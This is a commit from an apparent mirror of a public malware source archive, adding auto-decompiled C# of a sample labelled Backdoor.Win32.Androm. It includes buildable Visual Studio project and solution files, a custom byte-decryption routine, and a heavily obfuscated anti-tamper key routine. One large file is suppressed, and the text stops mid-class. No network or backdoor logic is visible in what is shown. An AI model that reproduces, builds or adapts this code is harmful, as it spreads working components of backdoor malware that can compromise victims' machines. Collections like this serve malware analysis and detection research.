mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-20 17:59:26 +00:00
auto-decompiled msil via petikvx
add
This commit is contained in:
vxunderground
+12
@@ -0,0 +1,12 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
[assembly: AssemblyCopyright("ORJ")]
|
||||
[assembly: AssemblyDescription("OTE")]
|
||||
[assembly: AssemblyCompany("wEi")]
|
||||
[assembly: AssemblyFileVersion("4.2.5.7")]
|
||||
[assembly: AssemblyProduct("JuL")]
|
||||
[assembly: AssemblyTrademark("hLp")]
|
||||
[assembly: SuppressIldasm]
|
||||
[assembly: AssemblyTitle("UPP")]
|
||||
[assembly: AssemblyVersion("5.4.2.6")]
|
||||
+52
@@ -0,0 +1,52 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{8BE63B67-4719-4BA5-AA00-154C5AEBBF53}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>mlw</AssemblyName>
|
||||
<ApplicationVersion>5.4.2.6</ApplicationVersion>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="System" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="_0002.cs" />
|
||||
<Compile Include="_0003.cs" />
|
||||
<Compile Include="_0005.cs" />
|
||||
<Compile Include="_0006.cs" />
|
||||
<Compile Include="_0008.cs" />
|
||||
<Compile Include="_000E.cs" />
|
||||
<Compile Include="_000F.cs" />
|
||||
<Compile Include="_0002 .cs" />
|
||||
<Compile Include="_0003 .cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include=" " />
|
||||
<EmbeddedResource Include="Wjtc.resx" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "mlw", "Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267.csproj", "{8BE63B67-4719-4BA5-AA00-154C5AEBBF53}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{8BE63B67-4719-4BA5-AA00-154C5AEBBF53}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{8BE63B67-4719-4BA5-AA00-154C5AEBBF53}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{8BE63B67-4719-4BA5-AA00-154C5AEBBF53}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{8BE63B67-4719-4BA5-AA00-154C5AEBBF53}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+123
File diff suppressed because one or more lines are too long
+15
@@ -0,0 +1,15 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: mlw, Version=5.4.2.6, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 968ED84C-4CC9-4699-A4B5-2702B06E186C
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class \u0002 : ApplicationBase
|
||||
{
|
||||
}
|
||||
+31
@@ -0,0 +1,31 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: mlw, Version=5.4.2.6, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 968ED84C-4CC9-4699-A4B5-2702B06E186C
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267.exe
|
||||
|
||||
internal static class \u0002\u2000
|
||||
{
|
||||
public static byte[] \u0002(byte[] _param0, byte[] _param1)
|
||||
{
|
||||
byte num1 = _param0[1];
|
||||
int length = _param1.Length;
|
||||
byte num2 = (byte) (length + 11 ^ (int) num1 + 7);
|
||||
uint num3 = (uint) (((int) _param0[0] | (int) _param0[2] << 8) + ((int) num2 << 3));
|
||||
ushort num4 = 0;
|
||||
for (int index = 0; index < length; ++index)
|
||||
{
|
||||
if ((index & 1) == 0)
|
||||
{
|
||||
num3 = (uint) ((int) num3 * 214013 + 2531011);
|
||||
num4 = (ushort) (num3 >> 16);
|
||||
}
|
||||
byte num5 = (byte) num4;
|
||||
num4 >>= 8;
|
||||
byte num6 = _param1[index];
|
||||
_param1[index] = (byte) ((uint) ((int) num6 ^ (int) num1 ^ (int) num2 + 3) ^ (uint) num5);
|
||||
num2 = num6;
|
||||
}
|
||||
return _param1;
|
||||
}
|
||||
}
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: mlw, Version=5.4.2.6, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 968ED84C-4CC9-4699-A4B5-2702B06E186C
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267.exe
|
||||
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class \u0003 : Computer
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public \u0003()
|
||||
{
|
||||
}
|
||||
}
|
||||
+200
@@ -0,0 +1,200 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: mlw, Version=5.4.2.6, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 968ED84C-4CC9-4699-A4B5-2702B06E186C
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267.exe
|
||||
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Text;
|
||||
|
||||
internal static class \u0003\u2000
|
||||
{
|
||||
private static \u0003\u2000.\u0002\u2005\u2000\u2009\u2007\u2003\u2003\u2001\u2001\u2009\u2005\u2004 \u0002 = new \u0003\u2000.\u0002\u2005\u2000\u2009\u2007\u2003\u2003\u2001\u2001\u2009\u2005\u2004();
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static long \u0002()
|
||||
{
|
||||
if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000).Assembly || !\u0003\u2000.\u0002())
|
||||
return 0;
|
||||
lock (\u0003\u2000.\u0002)
|
||||
{
|
||||
long num1 = \u0003\u2000.\u0002.\u0002();
|
||||
if (num1 == 0L)
|
||||
{
|
||||
Assembly executingAssembly = Assembly.GetExecutingAssembly();
|
||||
List<byte> byteList = new List<byte>();
|
||||
AssemblyName assemblyName;
|
||||
try
|
||||
{
|
||||
assemblyName = executingAssembly.GetName();
|
||||
}
|
||||
catch
|
||||
{
|
||||
assemblyName = new AssemblyName(executingAssembly.FullName);
|
||||
}
|
||||
byte[] collection = assemblyName.GetPublicKeyToken();
|
||||
if (collection != null && collection.Length == 0)
|
||||
collection = (byte[]) null;
|
||||
if (collection != null)
|
||||
byteList.AddRange((IEnumerable<byte>) collection);
|
||||
byteList.AddRange((IEnumerable<byte>) Encoding.Unicode.GetBytes(assemblyName.Name));
|
||||
int num2 = \u0003\u2000.\u0002(typeof (\u0003\u2000));
|
||||
int num3 = \u0003\u2000.\u0005\u2004\u2005\u2009\u2004\u2009\u2001\u2004\u2000\u2002\u2001\u2003\u2000\u2000\u2003.\u0002();
|
||||
byteList.Add((byte) (num2 >> 24));
|
||||
byteList.Add((byte) (num3 >> 16));
|
||||
byteList.Add((byte) (num2 >> 8));
|
||||
byteList.Add((byte) num3);
|
||||
byteList.Add((byte) (num2 >> 16));
|
||||
byteList.Add((byte) (num3 >> 8));
|
||||
byteList.Add((byte) num2);
|
||||
byteList.Add((byte) (num3 >> 24));
|
||||
int count = byteList.Count;
|
||||
ulong num4 = 0;
|
||||
for (int index = 0; index != count; ++index)
|
||||
{
|
||||
ulong num5 = num4 + (ulong) byteList[index];
|
||||
ulong num6 = num5 + (num5 << 20);
|
||||
num4 = num6 ^ num6 >> 12;
|
||||
byteList[index] = (byte) 0;
|
||||
}
|
||||
ulong num7 = num4 + (num4 << 6);
|
||||
ulong num8 = num7 ^ num7 >> 22;
|
||||
num1 = (long) (num8 + (num8 << 30)) ^ -7864757161471127688L;
|
||||
\u0003\u2000.\u0002.\u0002(num1);
|
||||
}
|
||||
return num1;
|
||||
}
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private static bool \u0002() => \u0003\u2000.\u0003();
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private static bool \u0003()
|
||||
{
|
||||
StackFrame frame = new StackTrace().GetFrame(3);
|
||||
MethodBase methodBase = frame == null ? (MethodBase) null : frame.GetMethod();
|
||||
Type type = (object) methodBase == null ? (Type) null : methodBase.DeclaringType;
|
||||
return (object) type != (object) typeof (RuntimeMethodHandle) && (object) type != null && (object) type.Assembly == (object) typeof (\u0003\u2000).Assembly;
|
||||
}
|
||||
|
||||
private static int \u0002(Type _param0) => _param0.MetadataToken;
|
||||
|
||||
private sealed class \u0006\u2002\u2005\u200A\u2006\u2004\u2006\u2007\u2000\u2008\u2005\u2006\u2004\u2000\u2007\u200A\u2005\u2008\u2008
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static int \u0002() => \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0003(\u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0003(\u0003\u2000.\u0002\u2008\u2005\u2004\u2001\u2006\u2002\u2001\u2004\u200A\u2000\u2008\u2004.\u0002(), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0002(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0006\u2002\u2005\u200A\u2006\u2004\u2006\u2007\u2000\u2008\u2005\u2006\u2004\u2000\u2007\u200A\u2005\u2008\u2008)), \u0003\u2000.\u0005\u2009\u2002\u200A\u2002\u2003\u2009\u2004\u2004\u2003\u2001\u2002\u2000\u200A\u2007\u2005\u2008\u2006.\u0002())), \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0003\u2004\u2007\u2004\u2001\u2002\u2007\u2006\u2004\u2004\u2002\u2005\u2001\u2001\u200A\u2004\u2005)));
|
||||
}
|
||||
|
||||
private static class \u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003
|
||||
{
|
||||
internal static int \u0002(int _param0, int _param1) => _param0 ^ _param1 - -~-~~--~~-540699733;
|
||||
|
||||
internal static int \u0003(int _param0, int _param1) => _param0 - ~--~-~~-~-~1673170882 ^ _param1 + ~--~~-~-~-297411131;
|
||||
|
||||
internal static int \u0005(int _param0, int _param1) => _param0 ^ _param1 - ~--~~-~-~1323644435 ^ _param0 - _param1;
|
||||
}
|
||||
|
||||
private sealed class \u0005\u2004\u2005\u2009\u2004\u2009\u2001\u2004\u2000\u2002\u2001\u2003\u2000\u2000\u2003
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static int \u0002() => \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0005(\u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0003(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005\u2009\u2002\u200A\u2002\u2003\u2009\u2004\u2004\u2003\u2001\u2002\u2000\u200A\u2007\u2005\u2008\u2006)), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0005(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005\u2004\u2005\u2009\u2004\u2009\u2001\u2004\u2000\u2002\u2001\u2003\u2000\u2000\u2003)), \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0006\u2002\u2005\u200A\u2006\u2004\u2006\u2007\u2000\u2008\u2005\u2006\u2004\u2000\u2007\u200A\u2005\u2008\u2008)))), \u0003\u2000.\u0003\u2004\u2007\u2004\u2001\u2002\u2007\u2006\u2004\u2004\u2002\u2005\u2001\u2001\u200A\u2004\u2005.\u0002());
|
||||
}
|
||||
|
||||
private sealed class \u0003\u2004\u2007\u2004\u2001\u2002\u2007\u2006\u2004\u2004\u2002\u2005\u2001\u2001\u200A\u2004\u2005
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static int \u0002() => \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0002(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0003\u2004\u2007\u2004\u2001\u2002\u2007\u2006\u2004\u2004\u2002\u2005\u2001\u2001\u200A\u2004\u2005)), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0005(\u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0003(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0006\u2002\u2005\u200A\u2006\u2004\u2006\u2007\u2000\u2008\u2005\u2006\u2004\u2000\u2007\u200A\u2005\u2008\u2008)), \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005\u2004\u2005\u2009\u2004\u2009\u2001\u2004\u2000\u2002\u2001\u2003\u2000\u2000\u2003))), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0005(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002\u2008\u2005\u2004\u2001\u2006\u2002\u2001\u2004\u200A\u2000\u2008\u2004)) ^ -~~--~-~-~~1615442953, \u0003\u2000.\u0006\u2002\u2005\u200A\u2006\u2004\u2006\u2007\u2000\u2008\u2005\u2006\u2004\u2000\u2007\u200A\u2005\u2008\u2008.\u0002())));
|
||||
}
|
||||
|
||||
private sealed class \u0002\u2005\u2000\u2009\u2007\u2003\u2003\u2001\u2001\u2009\u2005\u2004
|
||||
{
|
||||
private int \u0002;
|
||||
private int \u0003;
|
||||
|
||||
internal \u0002\u2005\u2000\u2009\u2007\u2003\u2003\u2001\u2001\u2009\u2005\u2004() => this.\u0002(0L);
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal long \u0002()
|
||||
{
|
||||
if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000.\u0002\u2005\u2000\u2009\u2007\u2003\u2003\u2001\u2001\u2009\u2005\u2004).Assembly || !\u0003\u2000.\u0002())
|
||||
return 2918384;
|
||||
int[] numArray = new int[4]
|
||||
{
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
~--~~-~-~-2002714090
|
||||
};
|
||||
numArray[1] = -~-~-~~-~-1606733917;
|
||||
numArray[2] = ~-~--~~--~~-402418770;
|
||||
numArray[0] = ~-~--~~-~1686541314;
|
||||
int num1 = this.\u0002;
|
||||
int num2 = this.\u0003;
|
||||
int num3 = -~-~-~~-~1640531528;
|
||||
int num4 = ~--~~--~-~~957401312;
|
||||
for (int index = 0; index != 32; ++index)
|
||||
{
|
||||
num2 -= (num1 << 4 ^ num1 >> 5) + num1 ^ num4 + numArray[num4 >> 11 & 3];
|
||||
num4 -= num3;
|
||||
num1 -= (num2 << 4 ^ num2 >> 5) + num2 ^ num4 + numArray[num4 & 3];
|
||||
}
|
||||
for (int index = 0; index != 4; ++index)
|
||||
numArray[index] = 0;
|
||||
return (long) ((ulong) num2 << 32 | (ulong) (uint) num1);
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal void \u0002(long _param1)
|
||||
{
|
||||
if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000.\u0002\u2005\u2000\u2009\u2007\u2003\u2003\u2001\u2001\u2009\u2005\u2004).Assembly || !\u0003\u2000.\u0002())
|
||||
return;
|
||||
int[] numArray = new int[4]
|
||||
{
|
||||
0,
|
||||
~-~--~-~~-~-1606733920,
|
||||
0,
|
||||
0
|
||||
};
|
||||
numArray[0] = -~-~-~~-~1686541318;
|
||||
numArray[2] = -~-~-~~-~-~-402418768;
|
||||
numArray[3] = -~~-~--~~-~-2002714089;
|
||||
int num1 = -~~-~-~-~1640531524;
|
||||
int num2 = (int) _param1;
|
||||
int num3 = (int) (_param1 >> 32);
|
||||
int num4 = 0;
|
||||
for (int index = 0; index != 32; ++index)
|
||||
{
|
||||
num2 += (num3 << 4 ^ num3 >> 5) + num3 ^ num4 + numArray[num4 & 3];
|
||||
num4 += num1;
|
||||
num3 += (num2 << 4 ^ num2 >> 5) + num2 ^ num4 + numArray[num4 >> 11 & 3];
|
||||
}
|
||||
for (int index = 0; index != 4; ++index)
|
||||
numArray[index] = 0;
|
||||
this.\u0002 = num2;
|
||||
this.\u0003 = num3;
|
||||
}
|
||||
}
|
||||
|
||||
private sealed class \u0002\u2008\u2005\u2004\u2001\u2006\u2002\u2001\u2004\u200A\u2000\u2008\u2004
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static int \u0002() => \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0005(\u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0002(\u0003\u2000.\u0005\u2009\u2002\u200A\u2002\u2003\u2009\u2004\u2004\u2003\u2001\u2002\u2000\u200A\u2007\u2005\u2008\u2006.\u0002() ^ -~-~-~~-~-527758445, \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002\u2006\u2002\u2002\u2008\u2009\u2009\u2002\u2006\u2000\u2009\u2002\u2009\u2000\u2009\u2007\u2002\u2001\u2004\u2000\u2009\u2004))), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0003(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005\u2004\u2005\u2009\u2004\u2009\u2001\u2004\u2000\u2002\u2001\u2003\u2000\u2000\u2003)) ^ \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0003\u2004\u2007\u2004\u2001\u2002\u2007\u2006\u2004\u2004\u2002\u2005\u2001\u2001\u200A\u2004\u2005)), -~-~-~~-~-1144099094));
|
||||
}
|
||||
|
||||
private sealed class \u0005\u2009\u2002\u200A\u2002\u2003\u2009\u2004\u2004\u2003\u2001\u2002\u2000\u200A\u2007\u2005\u2008\u2006
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static int \u0002() => \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0002(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002\u2008\u2005\u2004\u2001\u2006\u2002\u2001\u2004\u200A\u2000\u2008\u2004)), \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002\u2006\u2002\u2002\u2008\u2009\u2009\u2002\u2006\u2000\u2009\u2002\u2009\u2000\u2009\u2007\u2002\u2001\u2004\u2000\u2009\u2004)) ^ \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0003(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005\u2009\u2002\u200A\u2002\u2003\u2009\u2004\u2004\u2003\u2001\u2002\u2000\u200A\u2007\u2005\u2008\u2006)), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0005(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0003\u2004\u2007\u2004\u2001\u2002\u2007\u2006\u2004\u2004\u2002\u2005\u2001\u2001\u200A\u2004\u2005)), \u0003\u2000.\u0002\u2006\u2002\u2002\u2008\u2009\u2009\u2002\u2006\u2000\u2009\u2002\u2009\u2000\u2009\u2007\u2002\u2001\u2004\u2000\u2009\u2004.\u0002())));
|
||||
}
|
||||
|
||||
private sealed class \u0002\u2006\u2002\u2002\u2008\u2009\u2009\u2002\u2006\u2000\u2009\u2002\u2009\u2000\u2009\u2007\u2002\u2001\u2004\u2000\u2009\u2004
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static int \u0002() => \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0005(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002\u2006\u2002\u2002\u2008\u2009\u2009\u2002\u2006\u2000\u2009\u2002\u2009\u2000\u2009\u2007\u2002\u2001\u2004\u2000\u2009\u2004)), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0002(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005\u2004\u2005\u2009\u2004\u2009\u2001\u2004\u2000\u2002\u2001\u2003\u2000\u2000\u2003)), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0003(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005\u2009\u2002\u200A\u2002\u2003\u2009\u2004\u2004\u2003\u2001\u2002\u2000\u200A\u2007\u2005\u2008\u2006)), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0005(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002\u2008\u2005\u2004\u2001\u2006\u2002\u2001\u2004\u200A\u2000\u2008\u2004)), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0002(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0006\u2002\u2005\u200A\u2006\u2004\u2006\u2007\u2000\u2008\u2005\u2006\u2004\u2000\u2007\u200A\u2005\u2008\u2008)), \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0003\u2004\u2007\u2004\u2001\u2002\u2007\u2006\u2004\u2004\u2002\u2005\u2001\u2001\u200A\u2004\u2005)))))));
|
||||
}
|
||||
}
|
||||
+93
@@ -0,0 +1,93 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: mlw, Version=5.4.2.6, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 968ED84C-4CC9-4699-A4B5-2702B06E186C
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
[HideModuleName]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[StandardModule]
|
||||
internal sealed class \u0005
|
||||
{
|
||||
private static readonly \u0005.\u0003<\u0003> \u0002 = new \u0005.\u0003<\u0003>();
|
||||
private static readonly \u0005.\u0003<\u0002> \u0003 = new \u0005.\u0003<\u0002>();
|
||||
private static readonly \u0005.\u0003<User> \u0005 = new \u0005.\u0003<User>();
|
||||
private static readonly \u0005.\u0003<\u0005.\u0002> \u0008 = new \u0005.\u0003<\u0005.\u0002>();
|
||||
|
||||
[DebuggerHidden]
|
||||
internal static \u0003 \u0002() => \u0005.\u0002.\u0002();
|
||||
|
||||
[DebuggerHidden]
|
||||
internal static \u0002 \u0002() => \u0005.\u0003.\u0002();
|
||||
|
||||
[DebuggerHidden]
|
||||
internal static User \u0002() => \u0005.\u0005.\u0002();
|
||||
|
||||
[DebuggerHidden]
|
||||
